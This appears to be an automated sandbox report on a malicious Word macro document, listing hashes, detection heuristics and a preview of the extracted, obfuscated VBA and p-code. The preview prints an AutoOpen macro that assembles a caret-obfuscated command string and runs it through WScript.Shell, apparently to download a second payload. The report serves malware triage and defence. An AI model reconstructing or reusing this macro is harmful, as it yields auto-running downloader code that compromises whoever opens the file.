Office (OLE) malware analysis — malicious · c1a3065a3214f46a

MALICIOUS

Office (OLE)

76.1 KB First seen: 2019-03-18

MD5: 110f8a8b949d7cbb3c7bb8c218d046fa SHA-1: ea762251ad10d4fef3202e21850e0755ada1220b SHA-256: c1a3065a3214f46a38a8a559fbdba121eaf40aae819149274460abe1524ecb08

270 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within VBA. This is further supported by the OLE_VBA_WSCRIPT heuristic, confirming WScript.Shell usage. The AutoOpen macro is designed to execute a command constructed from concatenated strings, which is then run using WScript.Shell. This pattern strongly suggests the macro's purpose is to download and execute a secondary payload.

Heuristics 9

VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code

WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage

Matched line in script

   Error 19554 * sjqITJ / 83673 * GLudVL
RiQuNLjv = CreateObject("WScript.Shell").Run(ChrW(8 + 6 + 7 + 4 + 42) + hGDbhNn + pMKwBqF + YJzAntBCW + hqNLz + ZNJizjw + MFUYYiizJu + ZOkwWAJDMS + NwRTDHXHOTOZj + BUCGBLVCnOUii, 122235213 - 122235213)
   Error nwMhrw / EjdtzF

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

   Error 19554 * sjqITJ / 83673 * GLudVL
RiQuNLjv = CreateObject("WScript.Shell").Run(ChrW(8 + 6 + 7 + 4 + 42) + hGDbhNn + pMKwBqF + YJzAntBCW + hqNLz + ZNJizjw + MFUYYiizJu + ZOkwWAJDMS + NwRTDHXHOTOZj + BUCGBLVCnOUii, 122235213 - 122235213)
   Error nwMhrw / EjdtzF

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Attribute VB_Name = "DUcAahTi"
Sub AutoOpen()
On Error Resume Next
```
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	29740 bytes
SHA-256: `e9a9a9570032c7f0fa042b54b8cd72d66973cb602fef4d55d9f1920af129b702`
Detection ClamAV: No threats found Obfuscation or payload: likely 146 of 241 identifiers look randomly generated (e.g. 'qstore_nrejmj5t'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "hVjmXUfjsT" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "DUcAahTi" Sub AutoOpen() On Error Resume Next Error 19554 * sjqITJ / 83673 * GLudVL RiQuNLjv = CreateObject("WScript.Shell").Run(ChrW(8 + 6 + 7 + 4 + 42) + hGDbhNn + pMKwBqF + YJzAntBCW + hqNLz + ZNJizjw + MFUYYiizJu + ZOkwWAJDMS + NwRTDHXHOTOZj + BUCGBLVCnOUii, 122235213 - 122235213) Error nwMhrw / EjdtzF Error EYHSt * oNCwD / 50375 * TGfFQW End Sub ' Processing file: /tmp/qstore_nrejmj5t ' =============================================================================== ' Module streams: ' Macros/VBA/hVjmXUfjsT - 1108 bytes ' Macros/VBA/TlGDwozEkCdrB - 17761 bytes ' Line #0: ' FuncDefn (Function YJzAntBCW()) ' Line #1: ' OnError (Resume Next) ' Line #2: ' Ld jZQhW ' LitDI2 0x177C ' Div ' LitDI4 0x2502 0x0001 ' Div ' Ld TSBRw ' Mul ' Error ' Line #3: ' Ld TDOUc ' Ld sFalDk ' Div ' Error ' Line #4: ' LitDI4 0x5373 0x0001 ' Ld hbpawV ' Mul ' Error ' Line #5: ' LitStr 0x0006 "MD /v^" ' LitStr 0x0002 ":^" ' Add ' LitStr 0x0007 " ^ ^ " ' Add ' LitStr 0x0005 " /r " ' Add ' LitStr 0x0001 " " ' Add ' Ld GcqwpJaKI ' Ld ndsCifZXXbKzbi ' Add ' LitDI2 0x0022 ' Add ' Ld VpFFiKWwmlETb ' Add ' Ld pMnPirYnG ' Add ' ArgsLd Chr 0x0001 ' Coerce (Str) ' Add ' LitStr 0x0003 " ^" ' Add ' LitStr 0x0004 "s^Et" ' Add ' LitStr 0x0001 " " ' Add ' LitStr 0x0002 "P^" ' Add ' LitStr 0x0004 "d=^=" ' Add ' St UGUXAz ' Line #6: ' LitDI4 0x6E93 0x0001 ' Ld hsjdkz ' Mul ' Error ' Line #7: ' LitStr 0x0003 "=^A" ' LitStr 0x0002 "^A" ' Add ' LitStr 0x0006 "gAAIA^" ' Add ' LitStr 0x0001 "A" ' Add ' LitStr 0x0006 "C^A^gA" ' Add ' LitStr 0x0002 "AI" ' Add ' LitStr 0x0004 "AACA" ' Add ' LitStr 0x0007 "^gAA^I^" ' Add ' LitStr 0x0004 "AAC^" ' Add ' St rTJjc ' Line #8: ' Ld wZMYZw ' Ld zYFtQd ' Mul ' LitDI4 0xE7FC 0x0000 ' Mul ' Ld niiiO ' Mul ' Error ' Line #9: ' Ld GjwTL ' Ld SlisVr ' Mul ' Error ' Line #10: ' LitDI4 0x7371 0x0001 ' Ld DOuNI ' Div ' LitDI2 0x05B4 ' Mul ' Ld vQJOz ' Mul ' Error ' Line #11: ' LitStr 0x0007 "A^g^AAI" ' LitStr 0x0004 "^AAC" ' Add ' LitStr 0x0003 "Ag^" ' Add ' LitStr 0x0003 "AAI" ' Add ' LitStr 0x0005 "A^AC^" ' Add ' LitStr 0x0002 "Ag" ' Add ' LitStr 0x0007 "^A^AI^A" ' Add ' LitStr 0x0002 "^0" ' Add ' LitStr 0x0007 "^H^A^9B" ' Add ' LitStr 0x0004 "^w^e" ' Add ' LitStr 0x0003 "AgG" ' Add ' St XqncitJXktd ' Line #12: ' LitDI4 0x7ABF 0x0001 ' Ld hrOnNj ' Div ' Ld vVbZD ' Mul ' LitDI2 0x602B ' Mul ' Error ' Line #13: ' LitDI4 0xC4B0 0x0000 ' Ld lJKqa ' Mul ' Error ' Line #14: ' LitDI2 0x1AE3 ' Ld wVlRkC ' Mul ' LitDI4 0x4533 0x0001 ' Div ' Ld Clwqz ' Div ' Error ' Line #15: ' LitStr 0x0003 "Aj^" ' LitStr 0x0001 "B" ' Add ' LitStr 0x0007 "^A^d^AE" ' Add ' LitStr 0x0001 "^" ' Add ' LitStr 0x0001 "G" ' Add ' LitStr 0x0005 "^AjB^" ' Add ' LitStr 0x0003 "Qf^" ' Add ' LitStr 0x0007 "AsD^ArB" ' Add ' LitStr 0x0005 "Q^Y^A" ' Add ' St jsfBvXPvORl ' Line #16: ' LitDI4 0x2B4F 0x0001 ' Ld DSYCU ' Mul ' Ld QWCUw ' Mul ' Ld czjGHU ' Div ' Error ' Line #17: ' Ld OcOsj ' Ld pnHPc ' Div ' LitDI2 0x652D ' Mul ' Ld MKEWwk ' Div ' Error ' Line #18: ' LitStr 0x0007 "^U^GA^y" ' LitStr 0x0004 "B^gY" ' Add ' LitStr 0x0007 "AsD^AzB" ' Add ' LitStr 0x0005 "^gY^A" ' Add ' LitStr 0x0004 "^0E^" ' Add ' LitStr 0x0002 "A^" ' Add ' LitStr 0x0001 "k" ' Add ' LitStr 0x0005 "^A^AI" ' Add ' St qDQQicdr ' Line #19: ' Ld UGUXAz ' Ld rTJjc ' Add ' Ld XqncitJXktd ' Add ' Ld jsfBvXPvORl ' Add ' Ld qDQQicdr ' Add ' St YJzAntBCW ' Line #20: ' Ld LZwLE ' Ld pomcFS ' Div ' Error ' Line #21: ' Ld vTdsU ' LitDI4 0xAE02 0x0000 ' Div ' Ld MIRBjN ' Div ' Ld QqQsN ' Mul ' Error ' Line #22: ' Ld zHzFJR ' Ld jOhTi ' Div ' Error ' Line #23: ' EndFunc ' Line #24: ' FuncDefn (Function hqNLz()) ' Line #25: ' OnError (Resume Next) ' Line #26: ' LitDI4 0x84D2 0x0000 ' Ld ndMoLK ' Div ' Ld TMrsmA ' Div ' Ld ZPVCjf ' Mul ' Error ' Line #27: ' LitDI4 0xF5DC 0x0000 ' Ld QbvYVo ' Mul ' Error ' Line #28: ' Ld dbhDul ' Ld hEZDzQ ' Div ' LitDI4 0xB5AB 0x0000 ' Mul ' Ld aVmUk ' Div ' Error ' Line #29: ' LitStr 0x0007 "^A0^G^A" ' LitStr 0x0001 "l" ' Add ' LitStr 0x0003 "^BA" ' Add ' LitStr 0x0002 "dA" ' Add ' LitStr 0x0001 "^" ' Add ' St fvnQDbpw ' Line #30: ' LitDI4 0xDA30 0x0000 ' Ld KJAXB ' Div ' LitDI4 0x2D3A 0x0001 ' Mul ' Ld PiWIAm ' Mul ' Error ' Line #31: ' Ld zuQbwM ' Ld tHHNJm ' Mul ' Error ' Line #32: ' LitStr 0x0001 "k" ' LitStr 0x0005 "EA^t^" ' Add ' LitStr 0x0001 "A" ' Add ' LitStr 0x0004 "Q^Z^" ' Add ' LitStr 0x0006 "A^s^GA" ' Add ' LitStr 0x0002 "vB" ' Add ' LitStr 0x0004 "gdA^" ' Add ' LitStr 0x0002 "4^" ' Add ' LitStr 0x0003 "GAJ" ' Add ' LitStr 0x0004 "B^w^" ' Add ' St VrKcfjhd ' Line #33: ' LitDI4 0x25C2 0x0001 ' Ld jPuujf ' Mul ' Ld jwlim ' Div ' Ld mErmYW ' Mul ' Error ' Line #34: ' LitStr 0x0005 "OAkCA" ' LitStr 0x0006 "zB^gY^" ' Add ' LitStr 0x0002 "A^" ' Add ' LitStr 0x0002 "0E" ' Add ' LitStr 0x0002 "Ak" ' Add ' LitStr 0x0006 "AAI^A^" ' Add ' LitStr 0x0001 "w" ' Add ' St SoswLiMPfIT ' Line #35: ' LitDI4 0x0574 0x0001 ' Ld bduoC ' Mul ' Error ' Line #36: ' LitDI4 0x4B43 0x0001 ' Ld zBzbE ' Mul ' LitDI4 0xD3EB 0x0000 ' Mul ' Ld uVaWD ' Mul ' Error ' Line #37: ' LitStr 0x0002 "CA" ' LitStr 0x0007 "vBg^eAw" ' Add ' LitStr 0x0004 "^GAk" ' Add ' LitStr 0x0002 "AA" ' Add ' LitStr 0x0005 "^KAU^" ' Add ' LitStr 0x0004 "GA^s" ' Add ' LitStr 0x0004 "^B^Q" ' Add ' St pazpalz ' Line #38: ' Ld ZrjKMH ' Ld YBwzi ' Mul ' Ld WdWCAM ' Mul ' Ld fMCnl ' Mul ' Error ' Line #39: ' Ld WGYSV ' Ld ISQHit ' Mul ' LitDI4 0xCE28 0x0000 ' Div ' LitDI2 0x379F ' Mul ' Error ' Line #40: ' Ld jIJRz ' Ld HopGiY ' Div ' Ld rzTGG ' Mul ' Ld pLLpn ' Div ' Error ' Line #41: ' LitDI4 0xD987 0x0000 ' Ld kEIznP ' Mul ' Ld KrGvtm ' Mul ' Ld CHsqJ ' Div ' Error ' Line #42: ' LitStr 0x0005 "aAYEA" ' LitStr 0x0007 "k^BQY^A" ' Add ' LitStr 0x0003 "8^G" ' Add ' LitStr 0x0001 "A" ' Add ' LitStr 0x0003 "^sB" ' Add ' St pjkfSickd ' Line #43: ' LitDI4 0xE00F 0x0000 ' Ld shDNPX ' Div ' LitDI2 0x2FB8 ' Mul ' Ld NzWwUM ' Mul ' Error ' Line #44: ' LitDI4 0x9644 0x0000 ' Ld RPcti ' Div ' Error ' Line #45: ' Ld aOFRX ' Ld PNZpj ' Div ' Error ' Line #46: ' LitDI2 0x1C28 ' Ld YQjMo ' Div ' Ld pbHJN ' Div ' Ld sZcEuS ' Mul ' Error ' Line #47: ' LitStr 0x0002 "g^" ' LitStr 0x0007 "b^AcH^A" ' Add ' LitStr 0x0001 "v" ' Add ' LitStr 0x0002 "^B" ' Add ' LitStr 0x0002 "AR" ' Add ' LitStr 0x0007 "^A^4C^A" ' Add ' LitStr 0x0003 "YBg" ' Add ' LitStr 0x0001 "^" ' Add ' LitStr 0x0004 "d^Ac" ' Add ' LitStr 0x0006 "HAk^Aw" ' Add ' St YFQHjOwTCdV ' Line #48: ' LitDI2 0x5B50 ' Ld kkBNB ' Div ' Error ' Line #49: ' Ld iwmAS ' Ld NAhJYi ' Div ' Ld loLrit ' Div ' Ld onPjp ' Mul ' Error ' Line #50: ' LitDI2 0x44B3 ' Ld bOzYFX ' Mul ' LitDI2 0x01CA ' Div ' Ld MYSudt ' Div ' Error ' Line #51: ' LitDI4 0x7F1B 0x0001 ' Ld ljqtM ' Div ' LitDI4 0x3F12 0x0001 ' Mul ' LitDI4 0x40A3 0x0001 ' Div ' Error ' Line #52: ' LitStr 0x0001 "e" ' LitStr 0x0004 "^AkH" ' Add ' LitStr 0x0004 "Ay^B" ' Add ' LitStr 0x0005 "^A^dA" ' Add ' LitStr 0x0007 "s^HA^p^" ' Add ' LitStr 0x0002 "AA" ' Add ' St homHA ' Line #53: ' Ld fvnQDbpw ' Ld VrKcfjhd ' Add ' Ld SoswLiMPfIT ' Add ' Ld pazpalz ' Add ' Ld pjkfSickd ' Add ' Ld YFQHjOwTCdV ' Add ' Ld homHA ' Add ' St hqNLz ' Line #54: ' Ld YTKzZJ ' Ld HwSLza ' Mul ' Error ' Line #55: ' Ld iSvNl ' Ld CEPRYC ' Div ' Error ' Line #56: ' LitDI4 0x86A2 0x0000 ' Ld fXvZJj ' Mul ' LitDI2 0x38BB ' Mul ' Ld UviCLY ' Mul ' Error ' Line #57: ' EndFunc ' Line #58: ' FuncDefn (Function ZNJizjw()) ' Line #59: ' OnError (Resume Next) ' Line #60: ' LitDI2 0x48DF ' Ld uOCUL ' Mul ' Ld SUWmn ' Mul ' Ld qYIGYm ' Mul ' Error ' Line #61: ' LitStr 0x0006 "^a^As^" ' LitStr 0x0003 "EA^" ' Add ' LitStr 0x0007 "M^B^A^J" ' Add ' LitStr 0x0007 "^A^ACAu" ' Add ' LitStr 0x0006 "^B^Q^a" ' Add ' LitStr 0x0006 "^A^AC^" ' Add ' LitStr 0x0007 "Av^Bg^e" ' Add ' LitStr 0x0003 "Aw^" ' Add ' LitStr 0x0005 "GAkAA" ' Add ' LitStr 0x0006 "KA^g^G" ' Add ' St HtrBuYTCi ' Line #62: ' Ld awLAa ' Ld zDbOqI ' Mul ' Ld dSzZz ' Div ' Ld VTwzbj ' Div ' Error ' Line #63: ' Ld GimlH ' Ld jwpok ' Mul ' Error ' Line #64: ' LitDI4 0x9561 0x0000 ' Ld ivzEZj ' Div ' Error ' Line #65: ' LitDI2 0x7612 ' Ld tiWOu ' Div ' Ld AGjJoF ' Div ' LitDI2 0x7FEC ' Div ' Error ' Line #66: ' LitStr 0x0004 "Aj^B" ' LitStr 0x0001 "Q" ' Add ' LitStr 0x0004 "Y^AU" ' Add ' LitStr 0x0006 "GAy^Bw" ' Add ' LitStr 0x0007 "bA^YG^A" ' Add ' LitStr 0x0007 "7A^wJ^A" ' Add ' St MLipMAnz ' Line #67: ' LitDI4 0x303B 0x0001 ' Ld PbpDz ' Mul ' Error ' Line #68: ' Ld knsSW ' Ld ZJfWqE ' Div ' Ld isAFG ' Mul ' LitDI4 0xAC05 0x0000 ' Div ' Error ' Line #69: ' LitDI2 0x56D8 ' Ld HiPDc ' Div ' Ld kQGbtZ ' Mul ' Ld dikifc ' Mul ' Error ' Line #70: ' LitStr 0x0003 "U^G" ' LitStr 0x0007 "^A^4^B^" ' Add ' LitStr 0x0001 "Q" ' Add ' LitStr 0x0005 "Z^A^4" ' Add ' LitStr 0x0004 "CAnA" ' Add ' LitStr 0x0004 "wK^A" ' Add ' LitStr 0x0007 "o^F^A^H" ' Add ' LitStr 0x0002 "B^" ' Add ' St ZKwlJC ' Line #71: ' LitDI2 0x0869 ' Ld lCbwSn ' Div ' Ld YCMGV ' Div ' Ld BGSzJb ' Mul ' Error ' Line #72: ' LitStr 0x0007 "QbA^QC^" ' LitStr 0x0006 "Ar^AwJ" ' Add ' LitStr 0x0004 "Aw^F" ' Add ' LitStr 0x0003 "^An" ' Add ' LitStr 0x0007 "^A^wK^A" ' Add ' LitStr 0x0001 "M" ' Add ' LitStr 0x0005 "GA^pB" ' Add ' LitStr 0x0001 "A" ' Add ' St SsOMwEnPTF ' Line #73: ' LitDI4 0x24F2 0x0001 ' LitDI2 0x0190 ' Div ' Ld GYwMib ' Mul ' Ld Kmmvvq ' Mul ' Error ' Line #74: ' Ld VRznr ' Ld NFwwn ' Div ' Error ' Line #75: ' LitDI2 0x5B0C ' LitDI2 0x69C8 ' Mul ' Error ' Line #76: ' Ld EUZWbj ' Ld aBUjrG ' Div ' LitDI2 0x7B51 ' Mul ' LitDI4 0x5FDA 0x0001 ' Mul ' Error ' Line #77: ' LitStr 0x0005 "bA^IG" ' LitStr 0x0002 "A1" ' Add ' LitStr 0x0006 "B^Ac^A" ' Add ' LitStr 0x0004 "^o^D" ' Add ' LitStr 0x0003 "^A^" ' Add ' LitStr 0x0002 "2B" ' Add ' LitStr 0x0004 "^g^b" ' Add ' LitStr 0x0003 "^A^" ' Add ' St lwTSrkwt ' Line #78: ' Ld FlMzM ' Ld MQclJ ' Div ' Error ' Line #79: ' LitStr 0x0007 "UGA^kA^" ' LitStr 0x0006 "Q^P^A^" ' Add ' LitStr 0x0005 "M^H^A" ' Add ' LitStr 0x0003 "i^B" ' Add ' LitStr 0x0004 "^QTA" ' Add ' LitStr 0x0002 "QC" ' Add ' LitStr 0x0004 "A7^A" ' Add ' LitStr 0x0006 "wJ^AkD" ' Add ' LitStr 0x0006 "^A3^AQ" ' Add ' LitStr 0x0002 "NA" ' Add ' LitStr 0x0001 "c" ' Add ' St hSrwnJzQ ' Line #80: ' Ld habJC ' Ld PDJIN ' Mul ' LitDI4 0xC7A0 0x0000 ' Div ' Ld lzMjk ' Div ' Error ' Line #81: ' Ld ZUjBr ' Ld XkNszw ' Div ' Ld mfjlGZ ' Div ' Ld uwjzXd ' Div ' Error ' Line #82: ' LitDI2 0x2F20 ' Ld EFSnGJ ' Mul ' LitDI2 0x4160 ' Div ' LitDI4 0x24FB 0x0001 ' Mul ' Error ' Line #83: ' LitStr 0x0005 "CA^g^" ' LitStr 0x0004 "AQ^P" ' Add ' LitStr 0x0002 "^A" ' Add ' LitStr 0x0006 "^AC^A^" ' Add ' LitStr 0x0003 "a^B" ' Add ' LitStr 0x0004 "^wR^" ' Add ' St UwSrHN ' Line #84: ' Ld SNkfp ' Ld LPjQF ' Mul ' Error ' Line #85: ' Ld ZKQXao ' Ld dNmqvU ' Mul ' Error ' Line #86: ' LitDI4 0x3085 0x0001 ' Ld dYtDmM ' Div ' Error ' Line #87: ' LitStr 0x0005 "A^0G^" ' LitStr 0x0007 "Ak^A^w^" ' Add ' LitStr 0x0001 "O" ' Add ' LitStr 0x0002 "A^" ' Add ' LitStr 0x0004 "kC^A" ' Add ' LitStr 0x0003 "n^A" ' Add ' LitStr 0x0004 "^AQ^" ' Add ' LitStr 0x0002 "Ac" ' Add ' LitStr 0x0004 "C^Ao" ' Add ' St PBvZzSq ' Line #88: ' Ld EaujVB ' Ld LvQmfO ' Div ' Ld wZHRZv ' Mul ' Ld TwPZB ' Div ' Error ' Line #89: ' Ld nzTmL ' Ld MrPJPm ' Div ' Ld unbWS ' Div ' Ld NcjMX ' Mul ' Error ' Line #90: ' LitStr 0x0004 "^A^A" ' LitStr 0x0002 "^d" ' Add ' LitStr 0x0007 "^A^k^G^" ' Add ' LitStr 0x0003 "A^s" ' Add ' LitStr 0x0004 "B^Ac" ' Add ' LitStr 0x0002 "^A" ' Add ' LitStr 0x0003 "M^F" ' Add ' St tjdof ' Line #91: ' LitDI4 0xAA0B 0x0000 ' Ld qDSPDY ' Div ' Ld wQZlbi ' Div ' Ld Uqbjo ' Div ' Error ' Line #92: ' Ld EzCMbb ' Ld LvZUca ' Mul ' Ld zsuYis ' Mul ' LitDI4 0x744C 0x0001 ' Mul ' Error ' Line #93: ' Ld HnvbPj ' Ld zjnNAw ' Mul ' Error ' Line #94: ' LitStr 0x0005 "A^uAw" ' LitStr 0x0006 "^JA^Y^" ' Add ' LitStr 0x0005 "F^A^0" ' Add ' LitStr 0x0007 "^Agc^A^" ' Add ' LitStr 0x0004 "U^GA" ' Add ' LitStr 0x0006 "K^BQM^" ' Add ' LitStr 0x0005 "AkD^A" ' Add ' LitStr 0x0003 "v^A" ' Add ' LitStr 0x0006 "^A^d^A" ' Add ' LitStr 0x0005 "U^GA^" ' Add ' St cJFBDUbcWA ' Line #95: ' Ld cJFBDUbcWA ' Ld QzEbX ' Div ' LitDI2 0x43DA ' Div ' Ld jLFkst ' Mul ' Error ' Line #96: ' Ld CJFLp ' Ld Kiczs ' Mul ' Ld rwlcKq ' Div ' Ld hKOuuY ' Mul ' Error ' Line #97: ' LitDI4 0x7496 0x0001 ' Ld BEIFsv ' Mul ' Ld SVSWY ' Div ' Ld KtwlE ' Mul ' Error ' Line #98: ' LitStr 0x0005 "u^B^g" ' LitStr 0x0007 "LAc^GA^" ' Add ' LitStr 0x0001 "u" ' Add ' LitStr 0x0004 "^BQa" ' Add ' LitStr 0x0003 "^A^" ' Add ' LitStr 0x0004 "s^G^" ' Add ' LitStr 0x0004 "A^jB" ' Add ' LitStr 0x0001 "Q" ' Add ' LitStr 0x0005 "YA^g^" ' Add ' LitStr 0x0002 "G^" ' Add ' LitStr 0x0004 "Au^B" ' Add ' LitStr 0x0001 "^" ' Add ' LitStr 0x0003 "gc^" ' Add ' St DbzQm ' Line #99: ' LitDI2 0x4D92 ' Ld VHwJfWSzU ' Div ' Ld aWFwT ' Div ' Ld dtXNsA ' Mul ' Error ' Line #100: ' LitDI4 0x0F5B 0x0001 ' Ld tmQPEC ' Mul ' Error ' Line #101: ' Ld XocmH ' Ld rEzzo ' Div ' Ld QbdfU …

Open this report in the interactive analyzer, or submit your own file for analysis.